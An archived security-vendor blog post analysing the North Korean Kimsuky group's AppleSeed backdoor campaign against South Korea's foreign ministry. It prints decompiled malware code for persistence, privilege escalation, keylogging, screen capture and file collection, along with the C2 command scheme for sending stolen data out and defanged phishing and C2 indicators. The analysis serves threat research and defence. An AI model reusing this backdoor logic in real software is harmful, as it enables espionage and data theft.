

Kimsuky APT continues to target South Korean government using AppleSeed backdoor

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Published: 2021-05-31 · Archived: 2026-04-05 16:05:24 UTC

This blog post was authored by Hossein Jazi.

The Kimsuky APT—also known as Thallium, Black Banshee, and Velvet Chollima—is a North Korean threat actor that has been active since 2012. The group conducts cyber espionage operations to target government entities mainly in South Korea. On December 2020, KISA (Korean Internet & Security Agency) provided a [detailed analysis](#) about the phishing infrastructure and TTPs used by Kimsuky to target South Korea.

The Malwarebytes Threat Intelligence team is actively monitoring this actor and has been able to spot phishing websites, malicious documents, and scripts that have been used to target high profile people within the government of South Korea. The structure and TTPs used in these recent activities align with what has been reported in KISA's report.

Article continues below this ad.

Targets

One of the lures used by Kimsuky named “외교부 가판 2021-05-07” in Korean language translates to “Ministry of Foreign Affairs Edition 2021-05-07” which indicates that it has been designed to target the Ministry of Foreign Affairs of South Korea. According to our collected data, we have identified that it is one entity of high interest for Kimsuky. Other targets associated with the Korean government include:


- Ministry of Foreign Affairs, Republic of Korea 1st Secretary
- Ministry of Foreign Affairs, Republic of Korea 2nd Secretary
- Trade Minister
- Deputy Consul General at Korean Consulate General in Hong Kong
- International Atomic Energy Agency (IAEA) Nuclear Security Officer
- Ambassador of the Embassy of Sri Lanka to the State
- Ministry of Foreign Affairs and Trade counselor

Beside targeting government, we also have observed that Kimsuky collected information about universities and companies in South Korea including the Seoul National University and Daishin financial security company as well as KISA. This does not mean the threat actors actively targeted them yet nor that they were compromised.

Phishing Infrastructure



The group has the capability to set up phishing infrastructure to mimic well known websites and trick victims to enter their credentials. This is one of the main methods used by this actor to collect email addresses that later will be used to send spearphishing emails. The group is still using similar phishing models previously mentioned in the KISA report with some small changes.

As an example, they have added the Mobile_detect and Anti_IPs modules from type B to type C (KISA report) in order to be able to detect mobile devices and adjust the view based on that. This phishing model has the capability to show phishing pages in English or Korean based on the parameter value received from the phishing email. This model has been deployed by Kimsuky to target not only Korean speaking victims but also English speaking people, as well.



We have observed that they developed different phishing techniques to mimic the following web services and steal credentials:

- Gmail
- Hotmail
- Microsoft Outlook
- Nate
- Daum
- Naver
- Telegram
- KISA



We have identified several URLs used by Kimsuky to host their phishing infrastructure:

- http://accounts[.]goggle[.]hol[.]es/MyAccount
- https://myaccount[.]google[.]newkda[.]com/signin
- http://myaccount[.]google[.]newkda[.]com/signin
- http://myaccount[.]google[.]nkaac[.]net/signin
- https://myaccounts-gmail[.]autho[.]co/signin
- http://myaccounts-gmail[.]kr-infos[.]com/signin
- http://myaccount[.]cgmail[.]pe[.]hu/signin
- https://accounts[.]google-manager[.]ga/signin
- https://accounts[.]google-signin[.]ga/v2
- https://myaccount[.]google-signin[.]ga/signin
- https://account[.]gmail-signin[.]ga/v2
- https://myaccount[.]gmail-signin[.]ga/v2
- https://myaccounts[.]gmail-signin[.]ga/v2
- https://accounts[.]gmail-signin[.]ga/v2
- https://protect[.]gmail-signin[.]ga/v2
- https://accounts[.]gmail-signing[.]work/v2
- https://myaccount[.]gmail-signing[.]work/v2
- https://myaccount[.]gmail-security[.]work/v2
- https://signin[.]gmail-login[.]ml
- https://login[.]gmail-account[.]gq
- https://signin[.]gmrail[.]ml
- https://login[.]gmeil[.]kro[.]kr
- https://account[.]google[.]kro[.]kr


The group has used Twitter accounts to find and monitor its targets to prepare well crafted spear phishing emails. The group also is using Gmail accounts to use for phishing attacks or registering domains. One of the Gmail

accounts used by this actor is "tjkim1991@gmail[.]com" which was used to register the following sub-domains:

ns1.microsoft-office[.]jus

ns2.microsoft-office[.]jus

They were registered on April 3 and we believe have been reserved to be used for future campaigns. Pivoting from these sub-domains, we were able to uncover the infrastructure used by this actor. Some of it has overlap with previously reported campaigns operated by Kimsuky.



Command and Control infrastructure

Kimsuky reuses some of its phishing infrastructure for its command and control communications. In their most recent attack against South Korea's government they reused the infrastructure that has been used to host their phishing websites for AppleSeed backdoor C&C communications. Besides using the AppleSeed backdoor to target Windows users, the actor also has used an [Android backdoor](#) to target Android users. The Android backdoor can be considered as the mobile variant of the AppleSeed backdoor. It uses the same command patterns as the Windows one. Also, both Android and Windows backdoors have used the same infrastructure. It is also interesting to mention that this actor calls themselves Thallium.

```
C&C Server 2.0
+- m: mode
+- p1: param1
+- p2: param2
+- p3: param3
+- q: php query

PARAM_DESCRIPTION
+- ping
  <MODE_PING, pcID, pcInfo>
+- upload
  <MODE_UPLOAD, pcID, type(CMD, FILE, SCREEN, KEYLOG)>
+- down_cmd
  <MODE_DOWN_CMD, pcID>
+- delete_cmd
  <MODE_DEL_CMD, pcID>
+- upload_cmd
  <MODE_UPLOAD_CMD, pcID>
+- list_dir
  <MODE_LIST_DIR, dir>
+- del_file
  <MODE_DEL_FILE, filePath>
+- exists_item
  <MODE_EXISTS_ITEM, path>

DIRECTORY_STRUCTURE
-- index.php
-- log.txt
+- members
  +- <pcID1>
    -- ping.txt
    -- history.txt
    -- cmd
    -- cmd.old
    +- cmdres
      -- <timestamp>.dat
      ...
    +- file
      -- <timestamp>.dat
      ...
    +- keylog
      -- <timestamp>.dat
      ...
    +- screen
      -- <timestamp>.dat
      ...
  +- <pcID2>
    ...

AppleSeed Windows Backdoor
```

```
WEB PART FOR THALLIUM
+- m: mode
+- p1: param1
+- p2: param2
+- p3: param3
+- q: php query

DIRECTORY_STRUCTURE
+- ping
  <MODE_PING, pcID, pcInfo>
+- upload
  <MODE_UPLOAD, pcID, type(FILE, CMD, SMS)>
+- down_cmd
  <MODE_DOWN_CMD, pcID>
+- delete_cmd
  <MODE_DEL_CMD, pcID>
+- upload_cmd
  <MODE_UPLOAD_CMD, pcID>
+- list_dir
  <MODE_LIST_DIR, dir>
+- del_file
  <MODE_DEL_FILE, filePath>
+- exists_item
  <MODE_EXISTS_ITEM, path>

DIRECTORY_STRUCTURE
-- index.php
-- log.txt
+- members
  +- <pcID1>
    -- ping.txt
    -- cmd
    +- cmdres
      -- <timestamp>.dat
      ...
    +- file
      -- <timestamp>.dat
      ...
    +- sms
      -- <timestamp>.dat
      ...
  +- <pcID2>
    ...

AppleSeed Andriod Backdoor
```

Here are some of IPs and domains used by the actor for C2 communications:

```
210.16.120[.]34 216.189.157[.]89 45.58.55[.]73 45.13.135[.]103 27.102.114[.]89 210.16.121[.]137 58.2
```

Analysis of the most recent AppleSeed attack

In this section we provide an analysis of the AppleSeed backdoor that has been used to target the Ministry of the Foreign Affairs of South Korea.

Initial Access

The actor has distributed its dropper embedded in an archive file (외교부 가관 2021-05-07.zip) as an attachment through spearphishing emails. The target email addresses have been collected using the actor email phishing campaigns we described in the previous section. The actor conducted this spearphishing attack on May 7, 2021.

The archive file contains a JavaScript file (외교부 가관 2021-05-07.pdf.jse) which pretends to be a PDF file that contains two Base64 encoded blobs. The first one is the content of the decoy PDF file in Base64 format and the other one contains the AppleSeed payload also in Base64 format (encoded twice).


```

MY_UNICODESTR *v26; // [rsp+58h] [rbp-18h] BYREF

v26 = a2;
*(__QWORD *)&v25 = 0i64;
*( (__QWORD *)&v25 + 1) = 7i64;
v24.m128i_i16[0] = 0;
string_decryptor_prep((unsigned __int64 *)&v24, (__int64)&szProxyBypass, 0i64);
input_length = *(uint64_t *)((char *)&a1->Length + 4);
if ( (input_length & 1) == 0 && input_length > 0x20 )
{
    LODWORD(v26) = 0;
    WORD2(v26) = 0;
    v23 = 0;
    v5 = Key_Table;
    v6 = 0i64;
    v7 = 16i64;
    while ( 1 )
    {
        v8 = *(uint64_t *)((char *)&a1->Max_Length + 4) < 8;
        if ( *(uint64_t *)((char *)&a1->Max_Length + 4) >= 8 )
            break;
        LOWORD(v26) = *(__WORD *)((char *)&a1->Buffer + v6 * 2); // reads input character by character
        v9 = (char *)a1;
        if ( !v8 )
            goto LABEL_7;
    LABEL_8: // loop over input string to convert hex ascii to binary
        *(__DWORD *)((char *)&v26 + 2) = *(unsigned __int16 *)&v9[v6 * 2 + 2];
        hexascii_to_binary((__int64)&v26);
        *v5 = v23;
        v6 += 2i64;
        ++v5;
        if ( !--v7 )
        {
            v10 = 32i64;
            v11 = 0i64;
            while ( 1 )
            {
                v12 = v11 - 16;
                if ( v11 < 0x10 )
                    v12 = v11;
                v13 = 2 * v10;
                v14 = *(uint64_t *)((char *)&a1->Max_Length + 4) < 8;
                if ( *(uint64_t *)((char *)&a1->Max_Length + 4) >= 8 )
                    break;
                LOWORD(v26) = *(__WORD *)((char *)&a1->Buffer + v13);
                Buffer = (char *)a1;
                if ( !v14 )
                    goto LABEL_15;
            LABEL_16:
                *(__DWORD *)((char *)&v26 + 2) = *(unsigned __int16 *)&Buffer[v13 + 2];
                hexascii_to_binary((__int64)&v26);
                v17 = (char)(v23 ^ v7 ^ Key_Table[v12]); // xor decrypts the current byte
                v18 = v25;
                if ( (unsigned __int64)v25 >= *(__QWORD *)&v25 + 1 )
                {
                    sub_1B8D0(&v24, *((__int64 *)&v25 + 1), v16, v17);
                }
                else
                {
                    *(__QWORD *)&v25 = v25 + 1;
                    v19 = &v24;
                    if ( *( (__QWORD *)&v18 + 1) >= 8ui64 )
                        v19 = (__m128i *)v24.m128i_i64[0];
                    v19->m128i_i16[v18] = v17;
                    v19->m128i_i16[v18 + 1] = 0;
                }
                LOBYTE(v7) = v23;
                v10 += 2i64;
                v11 = v12 + 1;
                if ( v10 >= input_length )
                {
                    (__m128i *)&a2->Buffer = v24;
                    *(__OWORD *)((char *)&a2->Length + 4) = v25;
                    return (__int64)a2;
                }
            }
            LOWORD(v26) = a1->Buffer[v13 / 2];
        LABEL_15:
            Buffer = (char *)a1->Buffer;
            goto LABEL_16;
        }
    }
    LOWORD(v26) = a1->Buffer[v6];
    LABEL_7:
        v9 = (char *)a1->Buffer;
        goto LABEL_8;
}

```



The AppleSeed payload has an export function named “DllRegisterServer” which will be called when the DLL is executed using RegSvr32.exe. DllRegisterServer has a function that is responsible for performing the DLL initialization and setup that includes the following steps:

- Copy itself into “**C:ProgramDataSoftwareESTsoftCommon**” and rename itself as **ESTCommon.dll** to pretend it is a DLL that belongs to **ESTsecurity** company.
- Make itself persistent by creating the following registry key:

Registry key name: EstsoftAutoUpdate Registry key value: Regsvr32.exe /s C:ProgramDataSoftwareESTsoftCommonEST

```
string_decryptor_prep(
  (unsigned __int64 *)v55,
  (__int64)L"49ff0c512b63183b3b9933942f35f3b9767f14025f2b157b84cb6ecd406c389a71dd4f34ecb955915b94eed958752b816acc60cc"
  "9917da04584c8e458693190",
  0x82ui64);
v20 = string_decryptor(v55, (__int64)v69); // Software\Microsoft\Windows\CurrentVersion\RunOnce
if ( *(__QWORD *) (v20 + 24) >= 8ui64 )
  v20 = *(__QWORD *)v20;
v21 = RegCreateKeyExW(HKEY_CURRENT_USER, (LPCWSTR)v20, 0, 0i64, 0, 0xF003Fu, 0i64, &hKey, 0i64) == 0;
if ( v71 >= 8 )
{
  v22 = (void *)v69[0];
  if ( 2 * v71 + 2 >= 0x1000 )
  {
    v22 = *(void **)(v69[0] - 8);
    if ( (unsigned __int64)(v69[0] - (__QWORD)v22 - 8) > 0x1F )
      invalid_parameter_noinfo_noreturn();
  }
  j_j_free(v22);
}
v70 = 0i64;
v71 = 7i64;
LOWORD(v69[0]) = 0;
if ( v57 >= 8 )
{
  v23 = *(void **)v55;
  if ( 2 * v57 + 2 >= 0x1000 )
  {
    v23 = *(void **)(*(__QWORD *)v55 - 8i64);
    if ( (unsigned __int64)(*(__QWORD *)v55 - (__QWORD)v23 - 8i64) > 0x1F )
      invalid_parameter_noinfo_noreturn();
  }
  j_j_free(v23);
}
if ( v21 )
{
  v56 = 0i64;
  v57 = 7i64;
  v55[0] = 0;
  string_decryptor_prep(
    (unsigned __int64 *)v55,
    (__int64)L"a337e267db176c5fb3deb0ceddc5345fe682342094e5fde3258f50cb66c792b97f",
    0x42ui64);
  v24 = string_decryptor(v55, (__int64)v66); // ESTsoftAutoUpdate
  v25 = (const WCHAR *)v24;
  v26 = (const BYTE *)lpData;
  if ( v82 >= 8 )
  {
    v26 = lpData[0];
    if ( *(__QWORD *) (v24 + 24) >= 8ui64 )
      v25 = *(const WCHAR **)v24;
    RegSetValueExW(hKey, v25, 0, 1u, v26, 2 * v81);
  }
}
```



- Functionality activation by creating the following files into “**C:ProgramDataSoftwareESTsoftCommonflags**” directory and writes “flag” into them: FolderMonitor, KeyboardMonitor, ScreenMonitor, UsbMonitor.

In the next step it creates a Mutex to make sure it only infects a victim once.

```
void dll_registerserver()
{
  __DWORD *v0; // rdi
  __int64 v1; // rax
  __int64 v2; // rbx
  const WCHAR *v3; // r8
  int v4; // esi
  HANDLE MutexW; // r14
  unsigned __int64 v6; // rdx
  __QWORD *v7; // rcx
  unsigned __int64 v8; // rdx
  __QWORD *v9; // rcx
  void *v10; // rcx
  __QWORD *v11; // rax
  void *v12; // rcx
  void *v13; // rcx
  void *v14; // rcx
  void *v15; // rcx
  void *v16; // rcx
  HANDLE Thread; // rax
  HANDLE v18; // rax
  HANDLE v19; // rax
  HANDLE v20; // rax
  HANDLE v21; // rax
  HANDLE v22; // rax
  unsigned __int64 v23[2]; // [rsp+30h] [rbp-49h] BYREF
  __int64 v24; // [rsp+40h] [rbp-39h]
  unsigned __int64 v25; // [rsp+48h] [rbp-31h]
  __int64 v26[2]; // [rsp+50h] [rbp-29h] BYREF
  __int64 v27; // [rsp+60h] [rbp-19h]
  unsigned __int64 v28; // [rsp+68h] [rbp-11h]
  __int64 v29; // [rsp+70h] [rbp-9h]
  __int64 v30[3]; // [rsp+78h] [rbp-1h] BYREF
  unsigned __int64 v31; // [rsp+90h] [rbp+17h]
  __int64 v32[3]; // [rsp+98h] [rbp+1Fh] BYREF
  unsigned __int64 v33; // [rsp+B0h] [rbp+37h]

  v0 = lpParameter;
  Initialization_func((__int64)lpParameter);
  Sleep(0x1388u);
  v24 = 0i64;
  v25 = 7i64;
  LOWORD(v23[0]) = 0;
  string_decryptor_prep(
    v23,
    (__int64)L"651a77c90efb857ab62008a5a730e362365c52c9a23ec8c4001329a13434e5b6e3cc8b774885327ffaeF",
    0x54ui64);
  v1 = string_decryptor(v23, (__int64)v32); // mutex name "SpyRepsvr32-20210505162735"
  v2 = v1;
  v29 = v1;
  v3 = (const WCHAR *)v1;
  if ( *(__QWORD *) (v1 + 24) >= 8ui64 )
    v3 = *(const WCHAR **)v1;
  v4 = 1;
  MutexW = CreateMutexW(0i64, 1, v3);
```



After creating that mutex, it checks if the current process has the right access privilege by calling *GetTokenInformation* API call and if it does not have the right privilege, it tries to escalate its privilege using *AdjustTokenPrivilege* by passing *SeDebugPrivilege* to it to gain system level privilege.

```

__int64 Privilege_Escalation()
{
    unsigned int v0; // ebx
    HANDLE CurrentProcess_0; // rax
    __int64 v2; // rax
    BOOL v3; // edi
    void *v4; // rcx
    void *v5; // rcx
    __int64 v7[3]; // [rsp+30h] [rbp-68h] BYREF
    unsigned __int64 v8; // [rsp+48h] [rbp-50h]
    HANDLE TokenHandle; // [rsp+50h] [rbp-48h] BYREF
    struct _TOKEN_PRIVILEGES NewState; // [rsp+58h] [rbp-40h] BYREF
    __int64 v11; // [rsp+68h] [rbp-30h]
    unsigned __int64 v12; // [rsp+70h] [rbp-28h]
    struct _LUID Luid; // [rsp+78h] [rbp-20h] BYREF

    v0 = 0;
    TokenHandle = 0i64;
    CurrentProcess_0 = GetCurrentProcess_0();
    if ( !OpenProcessToken(CurrentProcess_0, 0x28u, &TokenHandle) )
        goto LABEL_16;
    v11 = 0i64;
    v12 = 7i64;
    LOWORD(NewState.PrivilegeCount) = 0;
    string_decryptor_prep(
        (unsigned __int64 *)&NewState.PrivilegeCount,
        (__int64)L"61a50ee86d5169f861ea6d984ef250ec32f2b8353a1e10b8ab2833c2e07740c9",
        0x40ui64);
    v2 = string_decryptor(&NewState, (__int64)v7); // SeDebugPrivilege
    if ( *(__QWORD *) (v2 + 24) >= 8ui64 )
        v2 = *(__QWORD *) v2;
    v3 = LookupPrivilegeValueW(0i64, (LPCWSTR)v2, &Luid);
    if ( v8 >= 8 )
    {
        v4 = (void *)v7[0];
        if ( 2 * v8 + 2 >= 0x1000 )
        {
            v4 = *(void **)(v7[0] - 8);
            if ( (unsigned __int64)(v7[0] - (__QWORD)v4 - 8) > 0x1F )
                invalid_parameter_noinfo_noreturn();
        }
        j_j_free(v4);
    }
    v7[2] = 0i64;
    v8 = 7i64;
    LOWORD(v7[0]) = 0;
    if ( v12 >= 8 )
    {
        v5 = *(void **)&NewState.PrivilegeCount;
        if ( 2 * v12 + 2 >= 0x1000 )
        {
            v5 = *(void **)( (__QWORD *)&NewState.PrivilegeCount - 8i64);
            if ( (unsigned __int64)( (__QWORD *)&NewState.PrivilegeCount - (__QWORD)v5 - 8i64) > 0x1F )
                invalid_parameter_noinfo_noreturn();
        }
        j_j_free(v5);
    }
    if ( v3
        && (NewState.PrivilegeCount = 1,
            NewState.Privileges[0].Luid = Luid,
            NewState.Privileges[0].Attributes = 2,
            AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0i64, 0i64)) )
    {
        if ( GetLastError() != 1300 )
            return 1;
    }
    else
    {
        LABEL_16:
        GetLastError();
    }
    return v0;
}

```



At the end it performs its main functionalities in separate threads. All the the collected data in each thread is being zipped and encrypted and is being sent to the command and control server using HTTP POST requests in a separate thread. After sending the data to the server, the data is deleted from the victim’s machine. The AppleSeed payload is using RC4 for encryption and decryption of the data. To generate RC4 key, it creates a Random buffer of 117 bytes by Calling *CryptGenRandom* and then uses *CryptCreateHash* and *CryptHashData* to adds the buffer into a MD5 hash object. Then it calls *CryptDeriveKey* to generate the RC4 key.

The created 117 bytes buffer is encrypted using RSA algorithm and is sent to the sever along with RC4 encrypted data. The RSA key is in hex ASCII format and has been decrypted using “string_decryptor” function.

Input Capture (KeyLogger)

The keylogger function uses GetKeyState and GetKeyboardState to capture the pressed keys on the victim’s machine and logs all keys per process into the log.txt file.

```
switch ( v2 )
{
  case 1:
    sub_3B90(Memory, "[lb]", 4i64);
    break;
  case 2:
    sub_3B90(Memory, "[rb]", 4i64);
    break;
  case 8:
    sub_3B90(Memory, "[back]", 6i64);
    break;
  case 9:
    sub_3B90(Memory, "[\t]", 4i64);
    break;
  case 13:
    sub_3B90(Memory, "[\n]\r\n", 6i64);
    break;
  case 17:
    sub_3B90(Memory, "[ctrl]", 6i64);
    break;
  case 19:
    sub_3B90(Memory, "[pause]", 7i64);
    break;
  case 32:
    sub_3B90(Memory, " ", 1i64);
    break;
  case 37:
    sub_3B90(Memory, "[<]", 3i64);
    break;
  case 38:
    sub_3B90(Memory, "[^]", 3i64);
    break;
  case 39:
    sub_3B90(Memory, "[>]", 3i64);
    break;
  case 40:
    sub_3B90(Memory, "[v]", 3i64);
    break;
  case 46:
    sub_3B90(Memory, "[del]", 5i64);
    break;
  default:
    sub_2B450(KeyState, 0i64, 256i64);
    GetKeyboardState(KeyState);
}
```



Screen Capture

This module takes screenshots by calling the following sequence of API calls and writes them to files: *GetDesktopWindow*, *GetDC*, *CreateCompstibleDC*, *CreateCompatibleBitmap*, *Bitblt* and *GetDIBits* and then writes them into a file using *CreateFileW* and *WriteFile*.

```

if ( *(_QWORD *)&bmi_12[12] >= 8ui64 )
{
    v19 = *(void **)bmi;
    if ( (unsigned __int64)(2i64 * *(_QWORD *)&bmi_12[12] + 2) >= 0x1000 )
    {
        v19 = *(void **)(*_QWORD *)bmi - 8i64;
        if ( (unsigned __int64)(*_QWORD *)bmi - (_QWORD)v19 - 8i64 > 0x1F )
            invalid_parameter_noinfo_noreturn();
    }
    j_j_free(v19);
}
*_QWORD *)&bmi_12[4] = 0i64;
*_QWORD *)&bmi_12[12] = 7i64;
*_WORD *)bmi = 0;
if ( v43 >= 8 )
{
    v20 = Memory[0];
    if ( 2 * v43 + 2 >= 0x1000 )
    {
        v20 = (void **)(*_QWORD *)Memory[0] - 1;
        if ( (unsigned __int64)(Memory[0] - v20 - 8) > 0x1F )
            invalid_parameter_noinfo_noreturn();
    }
    j_j_free(v20);
}
if ( ProcAddress_0 )
    ProcAddress_0();
}
SystemMetrics = GetSystemMetrics(0);
v22 = GetSystemMetrics(1);
CompatibleBitmap = CreateCompatibleBitmap(hdcSrc, SystemMetrics, v22);
v24 = CompatibleBitmap;
if ( !CompatibleBitmap )
    goto LABEL_43;
v33 = SelectObject(CompatibleDC, CompatibleBitmap);
BitBlt(CompatibleDC, 0, 0, SystemMetrics, v22, hdcSrc, 0, 0, 0xCC0020u);
bmi_40 = 0i64;
v49 = 0i64;
GetObjectW(v24, 32, &bmi_40);
*(_DWORD *)bmi = 40;
*_QWORD *)&bmi[4] = *(_QWORD *)((char *)&bmi_40 + 4);
*_QWORD *)bmi_12 = 1572865i64;
*_QWORD *)&bmi_12[8] = 0i64;
*_QWORD *)&bmi_12[16] = 0i64;
bmi_36 = 0;
v25 = 4 * DWORD2(bmi_40) * ((24 * DWORD1(bmi_40) + 31) / 32);
v32 = (LPVOID)sub_1800295B8(v25);
v26 = (unsigned __int8 *)sub_1800295B8(v25);
GetDIBits(hdcSrc, v24, 0, v22, v32, (LPBITMAPINFO)bmi, 0);
if ( *(_QWORD *)a1 + 3 >= 8ui64 )
    a1 = *(const WCHAR **)a1;
FileW_0 = CreateFileW_0(a1, 0x40000000u, 0, 0i64, 2u, 0x80u, 0i64);

```



Collect removable media data

This module finds the removable media devices connected to the machine and collects its data before sending it to the command and control server. To identify a USB drive it calls CM_Get_Device_IDW to retrieve the device instance ID that would be in format “ ” and then checks if it contains USB string value.

```

struct _SP_DEVICE_INTERFACE_DETAIL_DATA_W DeviceInterfaceDetailData; // [rsp+710h] [rbp+610h] BYREF

v4 = a2 & 0xFFDF;
if ( (unsigned __int16)(v4 - 65) > 0x19u )
    return 0i64;
*(_QWORD *)FileName = 0x5C002E005C005Ci64;
*(_QWORD *)RootPathName = 0x5C003A0058i64;
DeviceName[1] = 58;
v30 = 0;
v34 = 58;
v33 = v4;
RootPathName[0] = v4;
DeviceName[0] = v4;
v35 = 0;
v5 = -1;
sub_18002B450((__int64)VolumeNameBuffer, 0, 0x208ui64);
v6 = 0;
GetVolumeInformationW(
    RootPathName,
    VolumeNameBuffer,
    0x104u,
    &VolumeSerialNumber,
    &MaximumComponentLength,
    &FileSystemFlags,
    0i64,
    0);
*a3 = VolumeSerialNumber;
FileW = CreateFileW(FileName, 0, 3u, 0i64, 3u, 0, 0i64);
if ( FileW == (HANDLE)-1i64 )
    return 0i64;
BytesReturned = 0;
if ( DeviceIoControl(FileW, 0x2D1080u, 0i64, 0, OutBuffer, 0xCu, &BytesReturned, 0i64) )
    v5 = v24;
CloseHandle(FileW);
if ( v5 == -1 )
    return 1i64;
DriveTypeW = GetDriveTypeW(RootPathName);
if ( !QueryDosDeviceW(DeviceName, TargetPath, 0x104u) )
    return 0i64;
v10 = sub_18002ACCC(TargetPath, L"\\Floppy") != 0;
switch ( DriveTypeW )
{
    case 2u:
        v12 = (const GUID *)&unk_180057C40;
        if ( !v10 )
            v12 = (const GUID *)&unk_180057C20;
        v11 = v12;
        break;
    case 3u:
        v11 = (const GUID *)&unk_180057C20;
        break;
    case 5u:
        v11 = &InterfaceClassGuid;
        break;
    default:
        return 0i64;
}
ClassDevsw = SetupDiGetClassDevsw(v11, 0i64, 0i64, 0x12u);
if ( ClassDevsw == (HDEVINFO)-1i64 )
    return 0i64;
DeviceInterfaceData.cbSize = 32;
v14 = 0;
if ( !SetupDiEnumDeviceInterfaces(ClassDevsw, 0i64, v11, 0, &DeviceInterfaceData) )
{
    LABEL_25:
    SetupDiDestroyDeviceInfoList(ClassDevsw);
    return 0i64;
}
while ( 1 )
{
    RequiredSize = 0;
    SetupDiGetDeviceInterfaceDetailW(ClassDevsw, &DeviceInterfaceData, 0i64, 0, &RequiredSize, 0i64);
    if ( RequiredSize - 1 > 0x3FF )
        goto LABEL_24;
    DeviceInterfaceDetailData.cbSize = 8;
    memset(&DeviceInfoData, 0, sizeof(DeviceInfoData));
    DeviceInfoData.cbSize = 32;
    if ( !SetupDiGetDeviceInterfaceDetailW(
        ClassDevsw,
        &DeviceInterfaceData,
        &DeviceInterfaceDetailData,
        RequiredSize,
        &RequiredSize,
        &DeviceInfoData) )
        goto LABEL_24;
    v15 = CreateFileW(DeviceInterfaceDetailData.DevicePath, 0, 3u, 0i64, 3u, 0, 0i64);
    if ( v15 == (HANDLE)-1i64 )
        goto LABEL_24;
    v20 = 0;
    if ( DeviceIoControl(v15, 0x2D1080u, 0i64, 0, v25, 0xCu, &v20, 0i64) )
    {
        if ( v5 == v26 )

```

```

        break;
    }
    CloseHandle(v15);
LABEL_24:
    if ( !SetupDiEnumDeviceInterfaces(ClassDevsw, 0i64, v11, ++v14, &DeviceInterfaceData) )
        goto LABEL_25;
    }
    CloseHandle(v15);
    SetupDiDestroyDeviceInfoList(ClassDevsw);
    pdnDevInst = 0;
    CM_Get_Parent(&pdnDevInst, DeviceInfoData.DevInst, 0);
    CM_Get_Device_IDW(pdnDevInst, Buffer, 0x104u, 0);
    if ( !wcsncmp(Buffer, L"USB\\", 4ui64) )
        return 2i64;
    LOBYTE(v6) = DriveTypew != 5;
    return (unsigned int)(v6 + 3);
}

```




Collect files

This thread looks for txt, ppt, hwp, pdf, and doc files in the Desktop, Documents, Downloads and *AppDataLocalMicrosoftWindowsINetCacheIE* directories and archives them to be ready to be exfiltrated to the server.

```

    if ( sub_180007720((_DWORD)v28, v132, 0, (unsigned int)L".txt", 4i64) != -1 )
        goto LABEL_61;
    v30 = Memory;
    if ( v11 >= 8 )
        LODWORD(v30) = (_DWORD)v10;
    if ( sub_180007720((_DWORD)v30, v29, 0, (unsigned int)L".hwp", 4i64) != -1 )
        goto LABEL_61;
    v31 = Memory;
    if ( v11 >= 8 )
        LODWORD(v31) = (_DWORD)v10;
    if ( sub_180007720((_DWORD)v31, v29, 0, (unsigned int)L".pdf", 4i64) != -1 )
        goto LABEL_61;
    v32 = Memory;
    if ( v11 >= 8 )
        LODWORD(v32) = (_DWORD)v10;
    if ( sub_180007720((_DWORD)v32, v29, 0, (unsigned int)L".doc", 4i64) != -1 )
        goto LABEL_61;
    v33 = Memory;
    if ( v11 >= 8 )
        LODWORD(v33) = (_DWORD)v10;
    if ( sub_180007720((_DWORD)v33, v29, 0, (unsigned int)L".xls", 4i64) != -1 )
        goto LABEL_61;
    v34 = Memory;
    if ( v11 >= 8 )
        LODWORD(v34) = (_DWORD)v10;
    if ( sub_180007720((_DWORD)v34, v29, 0, (unsigned int)L".ppt", 4i64) != -1 )
    {
LABEL_61:
        v35 = (_QWORD *)sub_180006110(v111, a2, L"");
        v36 = Memory;
        if ( v133 >= 8 )
            v36 = (void **)Memory[0];
        v37 = sub_180003730(v35, (const __m128i *)v36, v132);
        v135 = 0ui64;
        *(_OWORD *)lpNewFileName = *(_OWORD *)v37;
        v135 = *(_OWORD *)v37 + 16;
        *(_OWORD *)v37 + 16 = 0i64;
        *(_OWORD *)v37 + 24 = 7i64;
        *(_OWORD *)v37 = 0;
        FileTime = (struct _FILETIME)lpNewFileName;
        string_prep_2_files(lpExistingFileName, lpNewFileName);
        if ( *((_QWORD *)&v135 + 1) >= 8ui64 )
        {
            v38 = (WCHAR *)lpNewFileName[0];
            if ( (unsigned __int64)(2i64 * *((_QWORD *)&v135 + 1) + 2) >= 0x1000 )
            {
                v38 = (WCHAR *)*((_QWORD *)lpNewFileName[0] - 1);
                if ( (unsigned __int64)((char *)lpNewFileName[0] - (char *)v38 - 8) > 0x1F )
                    invalid_parameter_noinfo_noreturn();
            }
            j_j_free(v38);
        }
    }
}

```



Command structure

The AppleSeed backdoor is using a two layer command structure to communicate to its command and control server. Here is the URL pattern used for C&C communications:

```
entity:url url:?m=[command layer one]&p1=[volume serial number]&p2=[command layer two]
```

Command layer one defines the type of command that server expected to be executed on the victim and it can have one of the following values:

Command	Description
a	ping mode (Collect victim info including IP, Time stamp, victim OS version)
b	upload data mode
c	Download command (Waiting for command)
d	Delete command
e	Upload command mode
f	List directories mode
g	Delete file mode
h	Check existence of a file mode

Command Layer one

Command layer 2 is only for when the command layer 1 is in upload data mode (c) and defines the type of upload. It can have one of the following values:


Command	Description
a	Upload command execution results
b	Upload files and removable media data
c	Upload screenshots
d	Upload input capture data (Keylogger data)

Command layer 2

Conclusion

Kimsuky is one of North Korea's threat actors that has mainly targeted South Korean government entities. In this blog post we took a look at this group's activities including its phishing infrastructure and command and control

mechanisms. Our research has shown that the group is still using a similar infrastructure and TTPs as reported on December 2020 by KISA. Its most recent campaign targeted the ministry of foreign affairs using the Apple Seed backdoor.



MITRE ATT&CK Techniques

Tactic	ID	Name	Details
Reconnaissance	T1598	Phishing for Information	Use phishing to collect email addresses for targeted attack
Resource Development	T1583.00	Acquire Infrastructure: Domains	Purchase and register domains a few month before the attack
Resource Development	T1587.001	Develop Capabilities: Malware	Develop AppleSeed backdoor for the attack
Resource Development	T1585.002	Establish Accounts: Email Accounts	Create email accounts to register domains and use in phishing attacks
Resource Development	T1585.001	Establish Accounts: Social Media Accounts	Use Twitter to collect info about victims
Initial Access	T1566.001	Phishing: Spearphishing Attachment	Distributing archive files that contains JS dropper through phishing emails
Execution	T1059.001	Command and Scripting	Use PowerShell to execute commands

		Interpreter: PowerShell	
Execution	T1059.007	Command and Scripting Interpreter: JavaScript	Use JS to execute PowerShell
Persistence	T1547.001	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	Create Registry RunOnce key
Privilege Escalation	T1134	Access Token Manipulation	Adjust its token privileges to have the SeDebugPrivilege
Defense Evasion	T1134	Access Token Manipulation	Adjust its token privileges to have the SeDebugPrivilege
Defense Evasion	T1140	Deobfuscate/Decode Files or Information	– Use the command certutil to decode base64 contents – Decrypt data coming from Server
